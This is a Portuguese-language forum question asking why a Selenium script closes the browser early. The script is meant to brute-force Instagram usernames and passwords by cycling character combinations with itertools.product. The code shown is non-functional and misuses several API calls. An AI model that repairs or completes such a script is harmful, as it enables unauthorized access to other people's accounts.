Fiz uma automação com o selenium que aparentemente a execução foi OK, mas ele está fechando o navegador antes de concluir o que foi passado no script. Como mostrado no código abaixo, ele é pra encontrar todos NAMES que contém username and password do site do instagram e com o itertools.product tentar com os caracteres passados com o string um brute force. O que está faltando??
import itertools
from selenium import webdriver # type: ignore
from selenium.webdriver.common.by import By # type: ignore
from selenium.webdriver.common.by import By # type: ignore
from selenium.webdriver.support.wait import WebDriverWait # type: ignore
from selenium.webdriver.support import expected_conditions as EC # type: ignore
from selenium.webdriver.common.keys import Keys # type: ignore
import sys
import string
site = webdriver.Chrome()
site.get('https://www.instagram.com')
temp = 10
def cracker():
while True:
try:
for elem in WebDriverWait(site, temp).until(EC.presence_of_element_located(By.NAME, 'username', 'password')):
if elem == string.ascii_lowercase + string.ascii_uppercase + string.digits:
for size in range(1, 8):
for shot in itertools.product(size, repeat=elem):
result = shot.send_keys(Keys.ENTER)
except Exception as e:
sys.exit()